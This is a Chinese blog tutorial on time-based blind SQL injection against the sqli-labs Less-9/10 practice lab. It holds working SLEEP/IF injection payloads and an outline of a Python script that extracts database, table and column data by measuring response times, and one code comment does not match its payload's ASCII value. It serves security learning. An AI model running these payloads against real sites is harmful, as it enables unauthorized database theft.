SQL 注入实战:时间盲注原理与 Python 脚本详解

前言

前两篇文章介绍了布尔盲注------它依赖页面在"正确"和"错误"时呈现不同内容。但如果目标页面对任何输入都返回完全相同的响应,布尔盲注就彻底失效了。

这时候就轮到时间盲注(Time-based Blind SQLi) 登场:我们不再观察页面内容的变化,而是让数据库"睡一觉",通过测量响应时间来判断条件真假。只要服务器响应慢了,我们就知道答对了。

文章目录

靶场题目:Less-9 / Less-10

Less-9 和 Less-10 是时间盲注的标准练习题。特征如下:

  • 无论输入什么,页面响应始终一致
  • 没有报错,没有数据回显,没有任何状态区分
  • 唯一可利用的信息通道:HTTP 响应时间

Less-9 使用单引号闭合,Less-10 使用双引号闭合,脚本中通过切换注释对应 payload 即可适配两种情况。


核心原理:用时间说话

MySQL 提供了两个关键武器:

sql 复制代码
-- 让数据库暂停 5 秒
SELECT SLEEP(5);

-- 条件判断:库名是否为 security?是则睡 5 秒,否则什么都不做
SELECT IF((SELECT DATABASE())='security', SLEEP(5), NULL);

IF(condition, true_result, false_result) 是时间盲注的核心结构。把"睡眠"嵌入条件分支,就把"对与错"变成了"慢与快"。

手工验证注入点

sql 复制代码
-- 第一步:确认 sleep 能否生效
?id=2' and sleep(5) --+

-- 第二步:尝试条件判断
?id=2' and if((select database())='security', sleep(5), null) --+

如果第一条让页面延迟 5 秒,说明注入点存在且时间盲注可行。


手工注入:完整流程

爆破数据库名长度

sql 复制代码
?id=1' and if(length(database()) > 7, sleep(5), 0) --+

从 1 开始逐步增大比较值,当页面不再延迟时,上一个值就是库名长度。

逐字符爆破库名

sql 复制代码
-- 判断库名第一个字符是否为 's'(ASCII 115)
?id=1' and if(ascii(substr(database(),1,1))=115, sleep(5), 0) --+

爆破表名

sql 复制代码
-- 取第一张表的第一个字符,判断是否为 'e'(ASCII 101)
?id=1' and if(ascii(substr(
    (select table_name from information_schema.tables 
     where table_schema=database() limit 0,1)
,1,1))=115, sleep(5), 0) --+

limit 0,1 取第一张表,limit 1,1 取第二张,依此枚举。

实战技巧 :数据库名、表名等字符串在 payload 中可以用其 HEX 值 代替,避免引号冲突,同时也能绕过部分过滤。例如 'security' 等价于 0x73656375726974...


Python 脚本:timeblind.py 解析

脚本将完整攻击链拆分为五个独立函数,结构清晰,每一步都可以单独调用:

整体架构

复制代码
main()
├── database_len()      → 爆破库名长度
├── database_name(len)  → 爆破库名
├── table_name()        → 枚举所有表名
├── colum_name(table)   → 枚举指定表的字段名
└── data(column, table) → 提取字段数据

时间测量的核心写法

所有函数都遵循同一个计时模式:

python 复制代码
import datetime

time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()

sec = (time2 - time1).seconds
if sec >= 2:
    # 条件成立,记录当前字符

datetime 精确记录请求前后的时间戳,差值超过阈值(2~3 秒)即视为"条件成立"。这比直接用 time.time() 更语义化,也更便于阅读。

库名爆破的两段式设计

database_len() 先确定长度,database_name(len) 再按长度逐字符枚举。这样避免了盲目爆破造成的请求浪费------一旦知道库名只有 8 位,后续循环就不会多跑一次。

database_name 的枚举字符集直接使用字符串遍历,而非 ASCII 码范围循环:

python 复制代码
for j in '0123456789abcdefghijklmnopqrstuvwxyz':
    # 直接比较字符,payload 构造更直观

对于库名、表名这类通常只含小写字母和数字的目标,缩小字符集能显著减少请求次数。

表名与字段名的三层嵌套

爆破表名和字段名需要三层 for 循环:

复制代码
外层 k:第 k 张表(或第 k 个字段)
中层 i:字符串的第 i 个字符
内层 j:ASCII 码范围 65~122(A-z)

这个范围覆盖了大小写字母,足以应对常见的表名和字段名。如需支持数字或下划线,扩展 range 的起始值即可。


时间盲注的局限与注意事项

网络抖动是最大的干扰源。 时间盲注依赖响应时间判断,而网络延迟是不稳定的。实践中有几种应对策略:

  • 将 sleep 时间设置得足够大(≥3 秒),远超正常响应时间
  • 对同一个 payload 发送多次,取平均值或多数结果
  • 在本地靶场练习时效果最稳定,生产环境慢网络下误判率会上升

线性枚举效率问题。 timeblind.py 的内层循环使用线性枚举,每个字符最多需要发送数十次请求,每次还要等待 sleep 超时。爆破一个完整的数据集可能需要数分钟甚至更长时间。结合二分查找优化是进阶方向。


三种盲注方式横向对比

注入类型 判断依据 适用场景 效率
布尔盲注(线性) 页面内容差异 有明显回显状态区分 较低
布尔盲注(二分) 页面内容差异 同上,追求效率 较高
时间盲注 HTTP 响应时间 页面完全无差异 最低

时间盲注是三者中适用范围最广 的,但也是效率最低、稳定性最差的。真实渗透测试中,时间盲注通常是在其他方式都失效后的最后手段。


完整代码与靶场资源

timeblind.py 脚本已开源至 GitHub,与 bool.pybool1.py 收录在同一仓库中。

脚本链接: github.com/aqirompt/sqli-labs-bool

靶场搭建请参考:

至此,布尔盲注与时间盲注的完整系列告一段落,届见。

免责声明:本文所有内容仅供授权环境下的安全学习与研究,切勿将相关技术用于任何未经授权的系统。

相关推荐
ChaITSimpleLove1 天前
软件测试策略全面指南:从单元测试到混沌工程的多维度分析
渗透测试·单元测试·集成测试·压力测试·系统测试·test
网络安全许木2 天前
自学渗透测试第14天(信息收集进阶与指纹识别)
linux·网络安全·渗透测试
网络安全许木2 天前
自学渗透测试第15天(基础复习与漏洞原理入门)
linux·网络安全·渗透测试·kali linux
悟道子HD3 天前
SRC漏洞挖掘——2.SQL注入漏洞实战详解
sql·web安全·网络安全·渗透测试·sql注入·sqlmap·暴力破解
交个_朋友3 天前
HTB SwagShop writeup(一个框架两个洞,sudo提权常使用)
渗透测试·oscp·htb
程序员晓晓3 天前
【网络安全零基础入门】应急响应之服务器入侵排查,小白零基础入门到精通教程
服务器·web安全·计算机·网络安全·渗透测试·黑客技术·网安应急响应
智擎软件测评小祺4 天前
渗透测试报告关键模块拆解
网络·web安全·渗透测试·测试·检测·cma·cnas
智擎软件测评小祺4 天前
渗透测试报告撰写:漏洞发现到验证流程
网络·渗透测试·测试·cma·第三方检测·cnas·渗透测试报告
网络安全许木5 天前
自学渗透测试第11天(Linux压缩解压与磁盘管理)
linux·网络安全·渗透测试
网络安全许木5 天前
自学渗透测试第13天(DVWA配置与信息收集命令)
网络安全·渗透测试·信息收集·kali linux